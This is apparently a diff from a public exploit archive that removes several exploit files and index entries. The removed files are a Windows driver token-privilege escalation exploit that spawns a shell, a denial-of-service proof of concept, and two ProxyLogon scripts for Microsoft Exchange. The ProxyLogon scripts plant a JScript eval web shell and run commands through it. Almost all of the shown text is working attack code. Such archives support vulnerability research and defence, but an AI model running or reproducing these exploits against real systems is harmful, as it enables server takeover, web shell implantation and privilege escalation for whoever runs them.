if (handleInfo.UniqueProcessId == ::GetCurrentProcessId() && handleInfo.HandleValue == (USHORT)currentToken)
|
|
||||||
{
|
|
||||||
tokenAddress = (uint64_t)handleInfo.Object;
|
|
||||||
std::cout << "[+] Current token address in kernelspace is at: 0x" << std::hex << tokenAddress << std::endl;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
outBuffer buffer =
|
|
||||||
{
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
0
|
|
||||||
};
|
|
||||||
|
|
||||||
/*
|
|
||||||
dt nt!_SEP_TOKEN_PRIVILEGES
|
|
||||||
+0x000 Present : Uint8B
|
|
||||||
+0x008 Enabled : Uint8B
|
|
||||||
+0x010 EnabledByDefault : Uint8B
|
|
||||||
|
|
||||||
We've added +1 to the offsets to ensure that the low bytes part are 0xff.
|
|
||||||
*/
|
|
||||||
|
|
||||||
// overwrite the _SEP_TOKEN_PRIVILEGES "Present" field in the current process token
|
|
||||||
Exploit exploit =
|
|
||||||
{
|
|
||||||
0x4141414142424242,
|
|
||||||
(void*)(tokenAddress + 0x40),
|
|
||||||
0x0000000000000000,
|
|
||||||
0xffffffffffffffff
|
|
||||||
};
|
|
||||||
|
|
||||||
// overwrite the _SEP_TOKEN_PRIVILEGES "Enabled" field in the current process token
|
|
||||||
Exploit exploit2 =
|
|
||||||
{
|
|
||||||
0x4141414142424242,
|
|
||||||
(void*)(tokenAddress + 0x48),
|
|
||||||
0x0000000000000000,
|
|
||||||
0xffffffffffffffff
|
|
||||||
};
|
|
||||||
|
|
||||||
// overwrite the _SEP_TOKEN_PRIVILEGES "EnabledByDefault" field in the current process token
|
|
||||||
Exploit exploit3 =
|
|
||||||
{
|
|
||||||
0x4141414142424242,
|
|
||||||
(void*)(tokenAddress + 0x50),
|
|
||||||
0x0000000000000000,
|
|
||||||
0xffffffffffffffff
|
|
||||||
};
|
|
||||||
|
|
||||||
DWORD bytesReturned = 0;
|
|
||||||
success = DeviceIoControl(
|
|
||||||
device,
|
|
||||||
IOCTL_CODE,
|
|
||||||
&exploit,
|
|
||||||
sizeof(exploit),
|
|
||||||
&buffer,
|
|
||||||
sizeof(buffer),
|
|
||||||
&bytesReturned,
|
|
||||||
nullptr);
|
|
||||||
if (!success)
|
|
||||||
{
|
|
||||||
std::cout << "[!] Couldn't overwrite current token 'Present' field. Error code: " << ::GetLastError() << std::endl;
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
std::cout << "[+] Successfully overwritten current token 'Present' field!\n";
|
|
||||||
|
|
||||||
success = DeviceIoControl(
|
|
||||||
device,
|
|
||||||
IOCTL_CODE,
|
|
||||||
&exploit2,
|
|
||||||
sizeof(exploit2),
|
|
||||||
&buffer,
|
|
||||||
sizeof(buffer),
|
|
||||||
&bytesReturned,
|
|
||||||
nullptr);
|
|
||||||
if (!success)
|
|
||||||
{
|
|
||||||
std::cout << "[!] Couldn't overwrite current token 'Enabled' field. Error code: " << ::GetLastError() << std::endl;
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
std::cout << "[+] Successfully overwritten current token 'Enabled' field!\n";
|
|
||||||
|
|
||||||
success = DeviceIoControl(
|
|
||||||
device,
|
|
||||||
IOCTL_CODE,
|
|
||||||
&exploit3,
|
|
||||||
sizeof(exploit3),
|
|
||||||
&buffer,
|
|
||||||
sizeof(buffer),
|
|
||||||
&bytesReturned,
|
|
||||||
nullptr);
|
|
||||||
if (!success)
|
|
||||||
{
|
|
||||||
std::cout << "[!] Couldn't overwrite current token 'EnabledByDefault' field. Error code:" << ::GetLastError() << std::endl;
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
std::cout << "[+] Successfully overwritten current token 'EnabledByDefault' field!\n";
|
|
||||||
std::cout << "[+] Token privileges successfully overwritten!\n";
|
|
||||||
std::cout << "[+] Spawning a new shell with full privileges!\n";
|
|
||||||
|
|
||||||
system("cmd.exe");
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
@ -1,21 +0,0 @@
|
||||||
# Exploit Title: Backup Key Recovery 2.2.7 - Denial of Service (PoC)
|
|
||||||
# Date: 07/06/2021
|
|
||||||
# Author: Erick Galindo
|
|
||||||
# Vendor Homepage: http://www.nsauditor.com
|
|
||||||
# Software http://www.nsauditor.com/downloads/backeyrecovery_setup.exe
|
|
||||||
# Version: 2.2.7.0
|
|
||||||
# Tested on: Windows 10 Pro x64 es
|
|
||||||
|
|
||||||
# Proof of Concept:
|
|
||||||
#1.- Copy printed "AAAAA..." string to clipboard!
|
|
||||||
#2.- Open BackupKeyRecovery.exe
|
|
||||||
#3.- Go to Register > Enter Registration Code...
|
|
||||||
#4.- Write anything in 'Name' field
|
|
||||||
#5.- Paste clipboard in 'Key' field
|
|
||||||
#6.- Click on button -> Ok
|
|
||||||
|
|
||||||
buffer = "\x41" * 256
|
|
||||||
|
|
||||||
f = open ("poc.txt", "w")
|
|
||||||
f.write(buffer)
|
|
||||||
f.close()
|
|
||||||
|
|
@ -1,183 +0,0 @@
|
||||||
import requests
|
|
||||||
from urllib3.exceptions import InsecureRequestWarning
|
|
||||||
import random
|
|
||||||
import string
|
|
||||||
import sys
|
|
||||||
|
|
||||||
|
|
||||||
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
|
|
||||||
return ''.join(random.choice(chars) for _ in range(size))
|
|
||||||
|
|
||||||
if len(sys.argv) < 2:
|
|
||||||
print("使用方式: python PoC.py <target> <email>")
|
|
||||||
print("使用方式: python PoC.py mail.btwaf.cn test2@btwaf.cn")
|
|
||||||
exit()
|
|
||||||
|
|
||||||
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
|
|
||||||
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
|
|
||||||
target = sys.argv[1]
|
|
||||||
email = sys.argv[2]
|
|
||||||
random_name = id_generator(4) + ".js"
|
|
||||||
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
|
|
||||||
|
|
||||||
shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
|
|
||||||
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
|
|
||||||
|
|
||||||
# webshell-马子内容
|
|
||||||
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'
|
|
||||||
|
|
||||||
autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
|
|
||||||
<Request>
|
|
||||||
<EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
|
|
||||||
</Request>
|
|
||||||
</Autodiscover>
|
|
||||||
""" % email
|
|
||||||
|
|
||||||
print("正在获取Exchange Server " + target+"权限")
|
|
||||||
print("=============================")
|
|
||||||
FQDN = "EXCHANGE01"
|
|
||||||
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
|
|
||||||
"User-Agent": user_agent},
|
|
||||||
verify=False,proxies=proxies)
|
|
||||||
|
|
||||||
if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
|
|
||||||
FQDN = ct.headers["X-FEServer"]
|
|
||||||
|
|
||||||
|
|
||||||
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
|
|
||||||
"Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
|
|
||||||
"Content-Type": "text/xml",
|
|
||||||
"User-Agent": user_agent},
|
|
||||||
data=autoDiscoverBody,
|
|
||||||
proxies=proxies,
|
|
||||||
verify=False
|
|
||||||
)
|
|
||||||
|
|
||||||
if ct.status_code != 200:
|
|
||||||
print(ct.status_code)
|
|
||||||
print("Autodiscover Error!")
|
|
||||||
exit()
|
|
||||||
|
|
||||||
if "<LegacyDN>" not in str(ct.content):
|
|
||||||
print("Can not get LegacyDN!")
|
|
||||||
exit()
|
|
||||||
|
|
||||||
legacyDn = str(ct.content).split("<LegacyDN>")[1].split(r"</LegacyDN>")[0]
|
|
||||||
print("Got DN: " + legacyDn)
|
|
||||||
|
|
||||||
mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
|
|
||||||
|
|
||||||
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
|
|
||||||
"Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
|
|
||||||
"Content-Type": "application/mapi-http",
|
|
||||||
"X-Requesttype": "Connect",
|
|
||||||
"X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
|
|
||||||
"X-Clientapplication": "Outlook/15.0.4815.1002",
|
|
||||||
"X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
|
|
||||||
"User-Agent": user_agent
|
|
||||||
},
|
|
||||||
data=mapi_body,
|
|
||||||
verify=False,
|
|
||||||
proxies=proxies
|
|
||||||
)
|
|
||||||
if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
|
|
||||||
print("Mapi Error!")
|
|
||||||
exit()
|
|
||||||
|
|
||||||
sid = str(ct.content).split("with SID ")[1].split(" and MasterAccountSid")[0]
|
|
||||||
|
|
||||||
print("Got SID: " + sid)
|
|
||||||
sid = sid.replace(sid.split("-")[-1],"500")
|
|
||||||
|
|
||||||
proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
|
|
||||||
""" % sid
|
|
||||||
|
|
||||||
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
|
|
||||||
"Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
|
|
||||||
"Content-Type": "text/xml",
|
|
||||||
"msExchLogonMailbox": "S-1-5-20",
|
|
||||||
"User-Agent": user_agent
|
|
||||||
},
|
|
||||||
data=proxyLogon_request,
|
|
||||||
proxies=proxies,
|
|
||||||
verify=False
|
|
||||||
)
|
|
||||||
if ct.status_code != 241 or not "set-cookie" in ct.headers:
|
|
||||||
print("Proxylogon Error!")
|
|
||||||
exit()
|
|
||||||
|
|
||||||
sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]
|
|
||||||
|
|
||||||
msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
|
|
||||||
print("Got session id: " + sess_id)
|
|
||||||
print("Got canary: " + msExchEcpCanary)
|
|
||||||
|
|
||||||
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
|
|
||||||
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
|
|
||||||
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
|
|
||||||
"Content-Type": "application/json; ",
|
|
||||||
"msExchLogonMailbox": "S-1-5-20",
|
|
||||||
"User-Agent": user_agent
|
|
||||||
|
|
||||||
},
|
|
||||||
json={"filter": {
|
|
||||||
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
|
|
||||||
"SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
|
|
||||||
verify=False
|
|
||||||
)
|
|
||||||
|
|
||||||
if ct.status_code != 200:
|
|
||||||
print("GetOAB Error!")
|
|
||||||
exit()
|
|
||||||
oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
|
|
||||||
print("Got OAB id: " + oabId)
|
|
||||||
|
|
||||||
oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
|
|
||||||
"properties": {
|
|
||||||
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
|
|
||||||
"ExternalUrl": "http://ffff/#%s" % shell_content}}}
|
|
||||||
|
|
||||||
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
|
|
||||||
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
|
|
||||||
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
|
|
||||||
"msExchLogonMailbox": "S-1-5-20",
|
|
||||||
"Content-Type": "application/json; charset=utf-8",
|
|
||||||
"User-Agent": user_agent
|
|
||||||
},
|
|
||||||
json=oab_json,
|
|
||||||
verify=False
|
|
||||||
)
|
|
||||||
if ct.status_code != 200:
|
|
||||||
print("Set external url Error!")
|
|
||||||
exit()
|
|
||||||
|
|
||||||
reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
|
|
||||||
"properties": {
|
|
||||||
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
|
|
||||||
"FilePathName": shell_absolute_path}}}
|
|
||||||
|
|
||||||
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
|
|
||||||
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
|
|
||||||
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
|
|
||||||
"msExchLogonMailbox": "S-1-5-20",
|
|
||||||
"Content-Type": "application/json; charset=utf-8",
|
|
||||||
"User-Agent": user_agent
|
|
||||||
},
|
|
||||||
json=reset_oab_body,
|
|
||||||
verify=False
|
|
||||||
)
|
|
||||||
|
|
||||||
if ct.status_code != 200:
|
|
||||||
print("写入shell失败了啊")
|
|
||||||
exit()
|
|
||||||
|
|
||||||
print("成功了。马上就验证shell是否OK!")
|
|
||||||
print("POST shell:https://"+target+"/owa/auth/test11.aspx")
|
|
||||||
shell_url="https://"+target+"/owa/auth/test11.aspx"
|
|
||||||
print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
|
|
||||||
print("正在请求shell")
|
|
||||||
data=requests.post(shell_url,data={"code":"Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"},verify=False)
|
|
||||||
if data.status_code != 200:
|
|
||||||
print("写入shell失败")
|
|
||||||
else:
|
|
||||||
print("权限如下："+data.text.split("OAB (Default Web Site)")[0].replace("Name : ",""))
|
|
||||||
|
|
@ -1,176 +0,0 @@
|
||||||
# Exploit Title: Microsoft Exchange 2019 - SSRF to Arbitrary File Write (Proxylogon)
|
|
||||||
# Date: 2021-03-10
|
|
||||||
# Exploit Author: testanull
|
|
||||||
# Vendor Homepage: https://www.microsoft.com
|
|
||||||
# Version: MS Exchange Server 2013, 2016, 2019
|
|
||||||
# CVE: 2021-26855, 2021-27065
|
|
||||||
|
|
||||||
import requests
|
|
||||||
from urllib3.exceptions import InsecureRequestWarning
|
|
||||||
import random
|
|
||||||
import string
|
|
||||||
import sys
|
|
||||||
|
|
||||||
|
|
||||||
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
|
|
||||||
return ''.join(random.choice(chars) for _ in range(size))
|
|
||||||
|
|
||||||
if len(sys.argv) < 2:
|
|
||||||
print("Usage: python PoC.py <target> <email>")
|
|
||||||
print("Example: python PoC.py mail.evil.corp haxor@evil.corp")
|
|
||||||
exit()
|
|
||||||
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
|
|
||||||
target = sys.argv[1]
|
|
||||||
email = sys.argv[2]
|
|
||||||
random_name = id_generator(3) + ".js"
|
|
||||||
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
|
|
||||||
|
|
||||||
shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\ahihi.aspx"
|
|
||||||
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
|
|
||||||
|
|
||||||
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["exec_code"],"unsafe");}</script>'
|
|
||||||
legacyDnPatchByte = "68747470733a2f2f696d6775722e636f6d2f612f7a54646e5378670a0a0a0a0a0a0a0a"
|
|
||||||
autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
|
|
||||||
<Request>
|
|
||||||
<EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
|
|
||||||
</Request>
|
|
||||||
</Autodiscover>
|
|
||||||
""" % email
|
|
||||||
|
|
||||||
print("Attacking target " + target)
|
|
||||||
print("=============================")
|
|
||||||
print(legacyDnPatchByte.decode('hex'))
|
|
||||||
FQDN = "EXCHANGE"
|
|
||||||
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
|
|
||||||
"User-Agent": user_agent},
|
|
||||||
verify=False)
|
|
||||||
if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
|
|
||||||
FQDN = ct.headers["X-FEServer"]
|
|
||||||
|
|
||||||
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
|
|
||||||
"Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
|
|
||||||
"Content-Type": "text/xml",
|
|
||||||
"User-Agent": user_agent},
|
|
||||||
data=autoDiscoverBody,
|
|
||||||
verify=False
|
|
||||||
)
|
|
||||||
if ct.status_code != 200:
|
|
||||||
print("Autodiscover Error!")
|
|
||||||
exit()
|
|
||||||
if "<LegacyDN>" not in ct.content:
|
|
||||||
print("Can not get LegacyDN!")
|
|
||||||
exit()
|
|
||||||
|
|
||||||
legacyDn = ct.content.split("<LegacyDN>")[1].split("</LegacyDN>")[0]
|
|
||||||
print("Got DN: " + legacyDn)
|
|
||||||
|
|
||||||
mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
|
|
||||||
|
|
||||||
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
|
|
||||||
"Cookie": "X-BEResource=Admin@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
|
|
||||||
"Content-Type": "application/mapi-http",
|
|
||||||
"User-Agent": user_agent
|
|
||||||
},
|
|
||||||
data=mapi_body,
|
|
||||||
verify=False
|
|
||||||
)
|
|
||||||
if ct.status_code != 200 or "act as owner of a UserMailbox" not in ct.content:
|
|
||||||
print("Mapi Error!")
|
|
||||||
exit()
|
|
||||||
|
|
||||||
sid = ct.content.split("with SID ")[1].split(" and MasterAccountSid")[0]
|
|
||||||
|
|
||||||
print("Got SID: " + sid)
|
|
||||||
|
|
||||||
proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
|
|
||||||
""" % sid
|
|
||||||
|
|
||||||
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
|
|
||||||
"Cookie": "X-BEResource=Admin@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
|
|
||||||
"Content-Type": "text/xml",
|
|
||||||
"User-Agent": user_agent
|
|
||||||
},
|
|
||||||
data=proxyLogon_request,
|
|
||||||
verify=False
|
|
||||||
)
|
|
||||||
if ct.status_code != 241 or not "set-cookie" in ct.headers:
|
|
||||||
print("Proxylogon Error!")
|
|
||||||
exit()
|
|
||||||
|
|
||||||
sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]
|
|
||||||
|
|
||||||
msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
|
|
||||||
print("Got session id: " + sess_id)
|
|
||||||
print("Got canary: " + msExchEcpCanary)
|
|
||||||
|
|
||||||
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={
|
|
||||||
"Cookie": "X-BEResource=Admin@%s:444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
|
|
||||||
FQDN, sess_id, msExchEcpCanary),
|
|
||||||
"User-Agent": user_agent
|
|
||||||
},
|
|
||||||
verify=False
|
|
||||||
)
|
|
||||||
if ct.status_code != 200:
|
|
||||||
print("Wrong canary!")
|
|
||||||
print("Sometime we can skip this ...")
|
|
||||||
rbacRole = ct.content.split("RBAC roles:</span> <span class='diagTxt'>")[1].split("</span>")[0]
|
|
||||||
# print "Got rbacRole: "+ rbacRole
|
|
||||||
|
|
||||||
print("=========== It means good to go!!!====")
|
|
||||||
|
|
||||||
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
|
|
||||||
"Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
|
|
||||||
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
|
|
||||||
"Content-Type": "application/json; charset=utf-8",
|
|
||||||
"User-Agent": user_agent
|
|
||||||
|
|
||||||
},
|
|
||||||
json={"filter": {
|
|
||||||
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
|
|
||||||
"SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
|
|
||||||
verify=False
|
|
||||||
)
|
|
||||||
if ct.status_code != 200:
|
|
||||||
print("GetOAB Error!")
|
|
||||||
exit()
|
|
||||||
oabId = ct.content.split('"RawIdentity":"')[1].split('"')[0]
|
|
||||||
print("Got OAB id: " + oabId)
|
|
||||||
|
|
||||||
oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
|
|
||||||
"properties": {
|
|
||||||
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
|
|
||||||
"ExternalUrl": "http://ffff/#%s" % shell_content}}}
|
|
||||||
|
|
||||||
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
|
|
||||||
"Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
|
|
||||||
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
|
|
||||||
"Content-Type": "application/json; charset=utf-8",
|
|
||||||
"User-Agent": user_agent
|
|
||||||
},
|
|
||||||
json=oab_json,
|
|
||||||
verify=False
|
|
||||||
)
|
|
||||||
if ct.status_code != 200:
|
|
||||||
print("Set external url Error!")
|
|
||||||
exit()
|
|
||||||
|
|
||||||
reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
|
|
||||||
"properties": {
|
|
||||||
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
|
|
||||||
"FilePathName": shell_absolute_path}}}
|
|
||||||
|
|
||||||
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
|
|
||||||
"Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
|
|
||||||
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
|
|
||||||
"Content-Type": "application/json; charset=utf-8",
|
|
||||||
"User-Agent": user_agent
|
|
||||||
},
|
|
||||||
json=reset_oab_body,
|
|
||||||
verify=False
|
|
||||||
)
|
|
||||||
|
|
||||||
if ct.status_code != 200:
|
|
||||||
print("Write Shell Error!")
|
|
||||||
exit()
|
|
||||||
|
|
||||||
print("Successful!")
|
|
||||||
|
|
@ -6767,26 +6767,7 @@ id,file,description,date,author,type,platform,port
|
||||||
49206,exploits/windows/dos/49206.txt,"TapinRadio 2.13.7 - Denial of Service (PoC)",1970-01-01,"Ismael Nava",dos,windows,
|
49206,exploits/windows/dos/49206.txt,"TapinRadio 2.13.7 - Denial of Service (PoC)",1970-01-01,"Ismael Nava",dos,windows,
|
||||||
49207,exploits/windows/dos/49207.txt,"RarmaRadio 2.72.5 - Denial of Service (PoC)",1970-01-01,"Ismael Nava",dos,windows,
|
49207,exploits/windows/dos/49207.txt,"RarmaRadio 2.72.5 - Denial of Service (PoC)",1970-01-01,"Ismael Nava",dos,windows,
|
||||||
49283,exploits/multiple/dos/49283.txt,"Nxlog Community Edition 2.10.2150 - DoS (Poc)",1970-01-01,"Guillaume PETIT",dos,multiple,
|
49283,exploits/multiple/dos/49283.txt,"Nxlog Community Edition 2.10.2150 - DoS (Poc)",1970-01-01,"Guillaume PETIT",dos,multiple,
|
||||||
49337,exploits/windows/dos/49337.py,"Easy CD & DVD Cover Creator 4.13 - Denial of Service (PoC)",1970-01-01,stresser,dos,windows,
|
|
||||||
49566,exploits/windows/dos/49566.txt,"Managed Switch Port Mapping Tool 2.85.2 - Denial of Service (PoC)",1970-01-01,"Ismael Nava",dos,windows,
|
|
||||||
49638,exploits/windows/dos/49638.py,"Nsasoft Hardware Software Inventory 1.6.4.0 - 'multiple' Denial of Service (PoC)",1970-01-01,"Enes Özeser",dos,windows,
|
|
||||||
49730,exploits/hardware/dos/49730.py,"DD-WRT 45723 - UPNP Buffer Overflow (PoC)",1970-01-01,Enesdex,dos,hardware,
|
49730,exploits/hardware/dos/49730.py,"DD-WRT 45723 - UPNP Buffer Overflow (PoC)",1970-01-01,Enesdex,dos,hardware,
|
||||||
49844,exploits/windows/dos/49844.py,"Sandboxie 5.49.7 - Denial of Service (PoC)",1970-01-01,"Erick Galindo",dos,windows,
|
|
||||||
49883,exploits/ios/dos/49883.py,"WebSSH for iOS 14.16.10 - 'mashREPL' Denial of Service (PoC)",1970-01-01,"Luis Martínez",dos,ios,
|
|
||||||
49898,exploits/windows/dos/49898.txt,"iDailyDiary 4.30 - Denial of Service (PoC)",1970-01-01,"Ismael Nava",dos,windows,
|
|
||||||
49906,exploits/windows/dos/49906.py,"RarmaRadio 2.72.8 - Denial of Service (PoC)",1970-01-01,"Ismael Nava",dos,windows,
|
|
||||||
49917,exploits/windows/dos/49917.py,"DupTerminator 1.4.5639.37199 - Denial of Service (PoC)",1970-01-01,"Brian Rodriguez",dos,windows,
|
|
||||||
49952,exploits/ios/dos/49952.py,"Color Notes 1.4 - Denial of Service (PoC)",1970-01-01,"Geovanni Ruiz",dos,ios,
|
|
||||||
49953,exploits/ios/dos/49953.py,"Macaron Notes great notebook 5.5 - Denial of Service (PoC)",1970-01-01,"Geovanni Ruiz",dos,ios,
|
|
||||||
49954,exploits/ios/dos/49954.py,"My Notes Safe 5.3 - Denial of Service (PoC)",1970-01-01,"Geovanni Ruiz",dos,ios,
|
|
||||||
49957,exploits/ios/dos/49957.py,"Sticky Notes & Color Widgets 1.4.2 - Denial of Service (PoC)",1970-01-01,"Geovanni Ruiz",dos,ios,
|
|
||||||
49964,exploits/windows/dos/49964.py,"NBMonitor 1.6.8 - Denial of Service (PoC)",1970-01-01,"Erick Galindo",dos,windows,
|
|
||||||
49965,exploits/windows/dos/49965.py,"Nsauditor 3.2.3 - Denial of Service (PoC)",1970-01-01,"Erick Galindo",dos,windows,
|
|
||||||
49978,exploits/ios/dos/49978.py,"Sticky Notes Widget Version 3.0.6 - Denial of Service (PoC)",1970-01-01,"Geovanni Ruiz",dos,ios,
|
|
||||||
49979,exploits/ios/dos/49979.py,"n+otes 1.6.2 - Denial of Service (PoC)",1970-01-01,"Geovanni Ruiz",dos,ios,
|
|
||||||
50001,exploits/ios/dos/50001.py,"Secure Notepad Private Notes 3.0.3 - Denial of Service (PoC)",1970-01-01,"Geovanni Ruiz",dos,ios,
|
|
||||||
50002,exploits/ios/dos/50002.py,"Post-it 5.0.1 - Denial of Service (PoC)",1970-01-01,"Geovanni Ruiz",dos,ios,
|
|
||||||
50003,exploits/ios/dos/50003.py,"Notex the best notes 6.4 - Denial of Service (PoC)",1970-01-01,"Geovanni Ruiz",dos,ios,
|
|
||||||
50153,exploits/windows/dos/50153.py,"Leawo Prof. Media 11.0.0.1 - Denial of Service (DoS) (PoC)",1970-01-01,stresser,dos,windows,
|
50153,exploits/windows/dos/50153.py,"Leawo Prof. Media 11.0.0.1 - Denial of Service (DoS) (PoC)",1970-01-01,stresser,dos,windows,
|
||||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",1970-01-01,"Wojciech Purczynski",local,linux,
|
